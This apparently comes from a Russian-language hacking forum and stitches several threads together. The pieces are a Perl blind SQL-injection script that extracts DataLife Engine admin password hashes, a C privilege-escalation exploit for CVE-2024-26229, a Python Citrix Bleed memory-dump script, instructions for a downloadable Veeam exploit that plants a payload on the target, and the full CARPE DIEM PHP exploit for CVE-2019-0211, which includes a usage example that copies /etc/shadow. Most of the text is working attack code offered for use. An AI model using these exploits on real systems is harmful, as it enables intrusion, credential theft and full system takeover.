elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print " [~] USERID : $userid\r\n";
print " [~] SEARCHING PASSWORD ... ";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b [ DONE ]
---------------------------------------------------------------
USERNAME : $name
USERID : $userid
PASSHASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b[ FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
print "\b".chr($char)." ";
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
if($res->as_string =~ /$name<\/td>/) { return 1; }
else { return 0; }
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b/"; }
if($status==1){ print "\b-"; }
if($status==2){ print "\b\\"; }
if($status==3){ print "\b|"; }
}
sub usage()
{
&head;
print q(
USAGE:
r57datalife.pl [OPTIONS]
OPTIONS:
-u <URL> - path to index.php
-n <USERNAME> - username for bruteforce
-p [prefix] - database prefix
E.G.
r57datalife.pl -u http://server/index.php -n admin
---------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
---------------------------------------------------------------
DataLife Engine sql injection exploit by RST/GHC
---------------------------------------------------------------
);
}
Решение: обновиться до версии 4.2
Greetzzz: RST/GHC
Spoiler: CVE-2024-26229.c
C:Copy to clipboard
/*
PoC Info
-------------------------------------------
Vulnerability: CVE-2024-26229
Environment: Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
// I use ntdllp.lib private library from VS SDK to avoid GetProcAddress for Nt* functions
#pragma comment(lib, "ntdllp.lib")
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3 // vuln ioctl
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int32_t Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
//
// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
//
while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
if (pHandleInfo != NULL)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return Ret;
}
//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
{
return -1;
}
return Status;
}
//
//
//
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
//
// Initialize kernel objects to leak
//
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
//
// Leak current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
//
// Leak current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
//
// Sending the payload to the csc.sys driver to trigger the bug
//
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
//
// spawn the shell with "nt authority\system"
//
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
NTSTATUS status = 0;
status = Exploit();
return status;
}
in IOCTL with METHOD_NEITHER I/O Control Code ](https://github.com/varwara/CVE-2024-26229)
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code - varwara/CVE-2024-26229
github.com
I started seeing posts about Minecraft servers vulnerable to rce but as time went on it was revealed that many versions of Apache are affected. This is similar to the bug that produced the Equifax 2017 data breach.
Also, there are many poc available on GitHub for those interested in playing around.
Info: <https://www.assetnote.io/resources/research/citrix-bleed-leaking- session-tokens-with-cve-2023-4966>
exploit:
Python:Copy to clipboard
#!/usr/bin/env python3
import sys
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument('--target', help='The Citrix ADC / Gateway target, excluding the protocol (e.g. 192.168.1.200)')
args = parser.parse_args()
if args.target is None:
print('Target must be provided (e.g. --target 192.168.1.200)')
sys.exit(0)
hostname = args.target
if __name__ == "__main__":
headers = {
"Host": "a"*24576
}
r = requests.get(f"https://{hostname}/oauth/idp/.well-known/openid-configuration", headers=headers, verify=False,timeout=10)
if r.status_code == 200:
print("--- Dumped Memory ---")
print(r.text[131050:])
print("--- End ---")
else:
print("Could not dump memory")
Пора ему дать "ходу" в паблик, эту поделку переодически продают по форумам,
оно того не стоит совершенно, там целая куча условий для его запуска.
Колупайтесь!
xttps://temp.sh/FXmrU/VeeamExploit.rar
1. Run SMB-Disable.bat as Administrator, after reboot OS!. (This script will
disable internal services that use 445 port, this will permit to use custom
app "Redfish" to share files).
2. Run Redfish.exe, configure as in picture redfish.png and press start.
3. in shared folder "C:\a" (or other path), put your payload.
4. Edit VeeamExploit\exploit\compiled\1. exec.bat acording your environment
5. Edit VeeamExploit\exploit\compiled\2. copy.bat (change only IP and port).
6. Edit VeeamExploit\exploit\compiled\3. reboot.bat acording your
environment.
7. Edit "C:\temp\exec.txt" (change only IP and shared folder name).
Put folder "temp" in "C:".
Hint. To check if target is vulnerable, you can execute reboot, and ping
target, if ping lost, then target is vulnerable.
Execute (Order is important!).
8. VeeamExploit\exploit\compiled\1. exec.bat
9. VeeamExploit\exploit\compiled\2. copy.bat
10. VeeamExploit\exploit\compiled\3. reboot.bat
if all ok, target will be rebooted, you can monitor using "ping targetip -t".
After reboot, when any of user will be logged in,your payload will be executed as logged user privileges.
Наибольшую угрозу проблема представляет для сервисов совместного web- хостинга.
Специалисты Apache Software Foundation исправили опасную уязвимость в Apache HTTP Server 2.4, которая при определенных обстоятельствах позволяла выполнить код с правами суперпользователя и перехватить управление сервером.
Проблема (CVE-2019-0211) затрагивает исключительно версии Apache для Unix- систем (от Apache 2.4.17 до 2.4.38) и позволяет менее привилегированному пользователю выполнить код с правами суперпользователя на целевом сервере. Согласно пояснению разработчиков, менее привилегированный дочерний процесс Apache (например, CGI скрипт) может выполнить код с правами родительского процесса. Поскольку на большинстве Unix-систем web-сервер Apache работает с правами суперпользователя, любой атакующий, внедривший вредоносный CGI-скрипт на сервер Apache может воспользоваться уязвимостью, и перехватить контроль над всей системой.
Наибольшую угрозу проблема представляет для сервисов совместного web-хостинга. Как отмечается, CVE-2019-0211 является локальной уязвимостью и для ее эксплуатации злоумышленник изначально должен иметь доступ к серверу (либо создав собственную учетную запись, либо скомпрометировав уже существующие аккаунты). Далее он может загрузить вредоносный PHP или CGI скрипт и скомпрометировать сайты, размещенные на сервере, или украсть данные других клиентов, хранящиеся на машине.
Уязвимость уже устранена в версии Apache httpd 2.4.39. Кроме вышеуказанной, обновление также исправляет ряд других менее опасных багов, в том числе уязвимости (CVE-2019-0217 и CVE-2019-0215), позволяющие обойти ограничения доступа. Пользователям рекомендуется установить обновление как можно скорее.
PHP:Copy to clipboard
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W --% S F
# 5 87% 177 26 (default)
# 8 89% 60 8
# 10 95% 70 4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#
o('CARPE (DIEM) ~ CVE-2019-0211');
o('');
error_reporting(E_ALL);
# Starts the exploit by triggering the UAF.
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
# replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
# end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
# y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
# especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
# mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
# function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
# bucket
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
#
# Setup memory
#
o('Triggering UAF');
o(' Creating room and filling empty spaces');
# Fill empty blocks to make sure our allocations will be contiguous
# I: Since a lot of allocations/deallocations happen before the script
# is ran, two variables instanciated at the same time might not be
# contiguous: this can be a problem for a lot of reasons.
# To avoid this, we instanciate several DateInterval objects. These
# objects will fill a lot of potentially non-contiguous memory blocks,
# ensuring we get "fresh memory" in upcoming allocations.
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
# Create some space for our UAF blocks not to get overwritten
# I: A PHP object is a combination of a lot of structures, such as
# zval, zend_object, zend_object_handlers, zend_string, etc., which are
# all allocated, and freed when the object is destroyed.
# After the UAF is triggered on the object, all the structures that are
# used to represent it will be marked as free.
# If we create other variables afterwards, those variables might be
# allocated in the object's previous memory regions, which might pose
# problems for the rest of the exploitation.
# To avoid this, we allocate a lot of objects before the UAF, and free
# them afterwards. Since PHP's heap is LIFO, when we create other vars,
# they will take the place of those objects instead of the object we
# are triggering the UAF on. This means our object is "shielded" and
# we don't have to worry about breaking it.
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
# Build string meant to fill old DateInterval's timelib_rel_time
# I: ptr2str's name is unintuitive here: we just want to allocate a
# zend_string of size 78.
$_protector = ptr2str(0, 78);
o(' Allocating $abc and $p');
# Create ABC
# I: This is the variable we will use to R/W memory afterwards.
# After we free the Z object, we'll make sure abc is overwritten by a
# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
# of this structure can be modified easily, meaning we can change the
# size of abc. This will allow us to read/write memory after abc.
$this->abc = ptr2str(0, 79);
# Create $p meant to protect $this's blocks
# I: Right after we trigger the UAF, we will unset $p.
# This means that the timelib_rel_time structure (TRT) of this object
# will be freed. We will then allocate a string ($protector) of the same
# size as TRT. Since PHP's heap is LIFO, the string will take the place
# of the now-freed TRT in memory.
# Then, we create a new DateInterval object ($x). From the same
# assumption, every structure constituting this new object will take the
# place of the previous structure. Nevertheless, since TRT's memory
# block has already been replaced by $protector, the new TRT will be put
# in the next free blocks of the same size, which happens to be $abc
# (remember, |abc| == |timelib_rel_time|).
# We now have the following situation: $x is a DateInterval object whose
# internal TRT structure has the same address as $abc's zend_string.
$p = new DateInterval('PT1S');
#
# Trigger UAF
#
o(' Unsetting both variables and setting $protector');
# UAF here, $this is usable despite being freed
unset($y[0]);
# Protect $this's freed blocks
unset($p);
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
# !!! This is only required for apache
# Got no idea as to why there is an extra deallocation (?)
$room[] = "!$_protector";
o(' Creating DateInterval object');
# After this line:
# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
# We can control the structure of $this->abc and therefore read/write
# anything that comes after it in memory by changing its size and
# making in-place edits using $this->abc[$position] = $char
$x = new DateInterval('PT1S');
# zend_string.refcount = 0
# It will get incremented at some point, and if it is > 1,
# zend_assign_to_string_offset() will try to duplicate it before making
# the in-place replacement
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
# Verify UAF was successful
# We modified stuff via $x; they should be visible by $this->abc, since
# they are at the same memory location.
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');
# Give us some room
# I: As indicated before, just unset a lot of stuff so that next allocs
# don't break our fragile UAFd structure.
unset($room);
#
# Setup the R/W primitive
#
# We control $abc's internal zend_string structure, therefore we can R/W
# the shared memory block (SHM), but for that we need to know the
# position of $abc in memory
# I: We know the absolute position of the SHM, so we need to need abc's
# as well, otherwise we cannot compute the offset
# Assuming the allocation was contiguous, memory looks like this, with
# 0x70-sized fastbins:
# [zend_string:abc]
# [zend_string:protector]
# [FREE#1]
# [FREE#2]
# Therefore, the address of the 2nd free block is in the first 8 bytes
# of the first block: 0x70 * 2 - 24
$address = str2ptr($this->abc, 0x70 * 2 - 24);
# The address we got points to FREE#2, hence we're |block| * 3 higher in
# memory
$address = $address - 0x70 * 3;
# The beginning of the string is 24 bytes after its origin
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
o('');
# Compute the size required for our string to include the whole SHM and
# apache's memory region
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) -
$address
;
$x->d = $distance;
# We can now read/write in the whole SHM and apache's memory region.
#
# Find all_buckets in memory
#
# We are looking for a structure s.t.
# |all_buckets, mutex| = 0x10
# |mutex, meth| = 0x8
# all_buckets is in apache's memory region
# mutex is in apache's memory region
# meth is in libaprR's memory region
# meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory');
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
if(!$all_buckets)
{
o('Unable to find all_buckets');
exit();
}
o('');
# The address of all_buckets will change when apache is gracefully
# restarted. This is a problem because we need to know all_buckets's
# address in order to make all_buckets[some_index] point to a memory
# region we control.
#
# Compute potential bucket indexes and their addresses
#
o('Computing potential bucket indexes and addresses');
# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
# with data we like. We keep the one at the top to store our payload.
# The rest is sprayed with the address of our payload.
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
# I get strange errors if I use every "free" item, so I leave twice as
# many items free. I'm guessing upon startup some
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
- ($all_buckets - $spray_middle) /
$size_prefork_child_bucket
);
#
# Build payload
#
# A worker_score structure was kept empty to put our payload in
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
# Offset 8 cannot be 0, but other than this you can type whatever
# command you want
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
# The second pointer points to meth, and is used before reaching the
# arbitrary function call
# The third one and the last one are both used by the function call
# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
$payload =
$bucket .
$meth .
$properties
;
# Write the payload
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
# Fill the spray area with a pointer to properties
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] -
$addresses['apache'][0]
));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');
# Find workers PID in the SHM: it indicates the beginning of their
# process_score structure. We can then change process_score.bucket to
# the index we computed. When apache reboots, it will use
# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
# which means we control the whole apr_proc_mutex_t structure.
# This structure contains pointers to multiple functions, especially
# mutex->meth->child_init(), which will be called before privileges
# are dropped.
# We do this for every worker PID, incrementing the bucket index so that
# we cover a bigger range.
o('Iterating in SHM to find PIDs...');
# Number of bucket indexes covered by our spray
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
# Number of bucket indexes covered by our spray and the PS structures
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
# First bucket index to handle
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
}
}
if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
}
}
function o($msg)
{
# No concatenation -> no string allocation
print($msg);
print("\n");
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$s-1;$j>=0;$j--)
{
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function in($i, $range)
{
return $i >= $range[0] && $i < $range[1];
}
/**
* Finds the offset of a symbol in a file.
*/
function find_symbol($file, $symbol)
{
$elf = file_get_contents($file);
$e_shoff = str2ptr($elf, 0x28);
$e_shentsize = str2ptr($elf, 0x3a, 2);
$e_shnum = str2ptr($elf, 0x3c, 2);
$dynsym_off = 0;
$dynsym_sz = 0;
$dynstr_off = 0;
for($i=0;$i<$e_shnum;$i++)
{
$offset = $e_shoff + $i * $e_shentsize;
$sh_type = str2ptr($elf, $offset + 0x04, 4);
$SHT_DYNSYM = 11;
$SHT_SYMTAB = 2;
$SHT_STRTAB = 3;
switch($sh_type)
{
case $SHT_DYNSYM:
$dynsym_off = str2ptr($elf, $offset + 0x18, 8);
$dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
break;
case $SHT_STRTAB:
case $SHT_SYMTAB:
if(!$dynstr_off)
$dynstr_off = str2ptr($elf, $offset + 0x18, 8);
break;
}
}
if(!($dynsym_off && $dynsym_sz && $dynstr_off))
exit('.');
$sizeof_Elf64_Sym = 0x18;
for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
{
$offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
$st_name = str2ptr($elf, $offset, 4);
if(!$st_name)
continue;
$offset_string = $dynstr_off + $st_name;
$end = strpos($elf, "\x00", $offset_string) - $offset_string;
$string = substr($elf, $offset_string, $end);
if($string == $symbol)
{
$st_value = str2ptr($elf, $offset + 0x8, 8);
return $st_value;
}
}
die('Unable to find symbol ' . $symbol);
}
# Obtains the addresses of the shared memory block and some functions through
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
$addresses = [];
$data = file_get_contents('/proc/self/maps');
$follows_shm = false;
foreach(explode("\n", $data) as $line)
{
if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if ($bounds[1] - $bounds[0] == 0x14000)
{
$addresses['shm'] = $bounds;
$follows_shm = true;
}
}
if(
preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'system');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['system'] = $line + $offset;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r-xp')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprX'] = $bounds;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r--p')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprR'] = $bounds;
}
# Apache's memory block is between the SHM and ld.so
# Sometimes some rwx region gets mapped; all_buckets cannot be in there
# but we include it anyways for the sake of simplicity
if(
(
strpos($line, 'rw-p') ||
strpos($line, 'rwxp')
) &&
$follows_shm
)
{
if(strpos($line, '/lib'))
{
$follows_shm = false;
continue;
}
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if(!array_key_exists('apache', $addresses))
$addresses['apache'] = $bounds;
else if($addresses['apache'][1] == $bounds[0])
$addresses['apache'][1] = $bounds[1];
else
$follows_shm = false;
}
if(
preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'zend_object_std_dtor');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['zend_object_std_dtor'] = $line + $offset;
}
}
$expected = [
'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
];
$missing = array_diff($expected, array_keys($addresses));
if($missing)
{
o(
'The following addresses were not determined by parsing ' .
'/proc/self/maps: ' . implode(', ', $missing)
);
exit(0);
}
o('PID: ' . getmypid());
o('Fetching addresses');
foreach($addresses as $k => $a)
{
if(!is_array($a))
$a = [$a];
o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
return '0x' . dechex($z);
}, $a)));
}
o('');
